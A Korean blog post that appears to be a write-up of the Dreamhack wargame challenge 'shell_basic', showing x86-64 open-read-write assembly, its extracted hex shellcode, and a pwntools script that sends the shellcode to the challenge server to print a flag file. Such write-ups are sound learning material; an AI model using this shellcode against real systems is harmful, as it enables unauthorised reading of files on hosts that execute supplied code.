공부/시스템

드림핵 > shell_basic

B612 2024. 1. 4. 16:50

shellcode, opcode 등등이 머리를 어지럽게 한다.

하지만 계속 매달린 끝에 엇! 갑자기 뭔가 이해가 되었다.

 

문제

문제 파일을 받으면 shell_basic.c 파일을 확인할 수 있다.

 

main 함수가 아닌 다른 함수들은 풀이와 관련이 없다고 하니, main만 잠깐 보자

 

읽기, 쓰기, 실행 권한을 가진 메모리 영역을 할당해 셸코드를 저장한다.

 

우리는 드림핵 강의에서 아래의 코드를 배웠다.

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

 

이 코드는 /tmp/flag 파일을 읽고, 출력하는 코드였다.

 

우리는 /home/shell_basic/flag_name_is_loooooong 파일을 읽고, 출력하고 싶으니 이 부분만 변경하면 되지 않을까?

 

이에 따라 변경한 코드는 다음과 같다.

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x0\n"
    "mov rax, 0x676e6f6f6f6f6f6f\n"
    "push rax\n"
    "mov rax, 0x6c5f73695f656d61\n"
    "push rax\n"
    "mov rax, 0x6e5f67616c662f63\n"
    "push rax\n"
    "mov rax, 0x697361625f6c6c65\n"
    "push rax\n"
    "mov rax, 0x68732f656d6f682f\n"
    "push rax\n"
		
    "mov rdi, rsp\n"
    "xor rsi, rsi\n"
    "xor rdx, rdx\n"
    "mov rax, 2\n"
    "syscall\n"

    "mov rdi, rax\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30\n"
    "mov rdx, 0x30\n"
    "mov rax, 0x0\n"
    "syscall\n"

    "mov rdi, 1\n"
    "mov rax, 0x1\n"
    "syscall\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall\n"
    );

void run_sh();

int main() { run_sh(); }

 

이 코드는 문제를 풀기 위한 셸코드가 된다.

 

여기서 주의해야 될 점은 맨 처음 '0x0'을 하나 push 해야 된다는 것이다.

나도 처음에 이 것 때문에 제대로 flag값이 출력되지 않아 읭??했다.

 

https://dreamhack.io/forum/qna/2045/

 

풀이의 코드와 다른점이 사실상 없는데 왜 안되는건가요?

pwntool의 기능이 아닌 직접 코드를 짜서 할려고 하는데 안되네요 asm( ".global run_sh\n" "run_sh:\n" "mov rax, 0x6…

dreamhack.io

위 링크의 글에 다르면 문자열의 끝을 인식하는 '0x0' 에 메모리에 없어 잘못 인식되기 때문이란다.

 

shell_basic.c 파일을 생성했다.

 

이후 objdump를 사용해 opcode를 추출한다.

 

실행되는 부분인 <run_sh> 를 가져온다.

 

솔직히 귀찮기 때문에 본인 것과 별 차이가 없다면 아래의 코드를 복붙하는 것을 추천한다.

 

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05

 

하지만 셸코드를 직접 입력하지 말고, pwntools를 사용해서 넘기라고 한다.

 

https://dreamhack.io/forum/qna/1800/

 

셸코드 전송

코드를 강의를 참고하여 캡처.PNG 다음과 같이 작성하였고 objdump를 한 뒤 orw에 해당하는 기계어만 가져와서 \x형태로 만들고 전송하려고 하는데 그냥 전송하면 안된다…

dreamhack.io

때문에 위 링크의 답변 코드를 사용했다.

 

최종 코드는 다음과 같다.

 

from pwn import *

p = remote("host3.dreamhack.games", 16188)

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"

p.send(shellcode)
p.interactive()

 

실행하면 flag를 획득할 수 있다!

 

'공부 > 시스템' 카테고리의 다른 글

pwngdb - 2  (0) 2023.11.17
pwngdb - 1  (1) 2023.11.16